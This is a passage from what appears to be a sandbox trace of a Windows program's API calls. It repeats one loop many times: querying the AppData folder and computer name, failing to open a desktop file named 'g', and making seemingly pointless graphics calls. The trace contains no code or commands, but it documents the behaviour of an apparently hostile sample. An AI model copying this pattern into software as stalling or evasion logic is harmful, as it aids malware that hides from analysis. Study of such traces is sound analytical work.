(hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.044] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.044] CloseHandle (hObject=0x0) returned 0 [0223.044] CloseHandle (hObject=0xffffffff) returned 1 [0223.044] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.044] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.044] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.044] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.044] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.044] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.044] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.044] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.044] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.044] CloseHandle (hObject=0x0) returned 0 [0223.045] CloseHandle (hObject=0xffffffff) returned 1 [0223.045] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.045] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.045] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.045] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.045] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.045] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.045] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.045] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.045] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.045] CloseHandle (hObject=0x0) returned 0 [0223.045] CloseHandle (hObject=0xffffffff) returned 1 [0223.045] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.045] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.045] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.045] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.045] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.045] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.045] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.045] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.045] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.046] CloseHandle (hObject=0x0) returned 0 [0223.046] CloseHandle (hObject=0xffffffff) returned 1 [0223.046] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.046] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.046] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.046] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.046] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.046] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.046] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.046] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.046] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.046] CloseHandle (hObject=0x0) returned 0 [0223.046] CloseHandle (hObject=0xffffffff) returned 1 [0223.046] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.046] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.046] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.046] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.047] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.047] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.047] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.047] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.047] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.047] CloseHandle (hObject=0x0) returned 0 [0223.047] CloseHandle (hObject=0xffffffff) returned 1 [0223.047] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.047] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.047] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.047] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.047] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.047] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.047] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.047] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.047] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.047] CloseHandle (hObject=0x0) returned 0 [0223.047] CloseHandle (hObject=0xffffffff) returned 1 [0223.047] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.048] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.048] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.048] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.048] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.048] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.048] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.048] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.048] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.048] CloseHandle (hObject=0x0) returned 0 [0223.048] CloseHandle (hObject=0xffffffff) returned 1 [0223.048] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.048] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.048] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.048] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.048] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.048] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.048] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.048] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.048] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.048] CloseHandle (hObject=0x0) returned 0 [0223.048] CloseHandle (hObject=0xffffffff) returned 1 [0223.049] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.049] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.049] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.049] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.049] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.049] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.049] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.049] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.049] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.049] CloseHandle (hObject=0x0) returned 0 [0223.049] CloseHandle (hObject=0xffffffff) returned 1 [0223.049] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.049] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.049] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.049] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.049] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.049] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.049] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.049] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.049] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.049] CloseHandle (hObject=0x0) returned 0 [0223.049] CloseHandle (hObject=0xffffffff) returned 1 [0223.050] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.050] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.050] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.050] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.050] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.050] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.050] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.050] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.050] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.050] CloseHandle (hObject=0x0) returned 0 [0223.050] CloseHandle (hObject=0xffffffff) returned 1 [0223.050] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.050] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.050] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.050] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.050] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.050] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.050] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.050] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.050] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.050] CloseHandle (hObject=0x0) returned 0 [0223.051] CloseHandle (hObject=0xffffffff) returned 1 [0223.051] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.053] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.053] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.054] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.054] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.054] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.054] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.054] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.054] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.054] CloseHandle (hObject=0x0) returned 0 [0223.054] CloseHandle (hObject=0xffffffff) returned 1 [0223.054] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.054] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.054] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.054] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.054] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.054] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.054] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.054] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.054] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.054] CloseHandle (hObject=0x0) returned 0 [0223.055] CloseHandle (hObject=0xffffffff) returned 1 [0223.055] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.055] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.055] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.055] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.055] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.055] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.055] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.055] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.055] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.055] CloseHandle (hObject=0x0) returned 0 [0223.055] CloseHandle (hObject=0xffffffff) returned 1 [0223.055] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.055] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.055] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.055] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.055] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.055] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.055] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.055] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.056] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.056] CloseHandle (hObject=0x0) returned 0 [0223.056] CloseHandle (hObject=0xffffffff) returned 1 [0223.056] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.056] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.056] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.056] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.056] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.056] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.056] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.056] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.056] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.056] CloseHandle (hObject=0x0) returned 0 [0223.056] CloseHandle (hObject=0xffffffff) returned 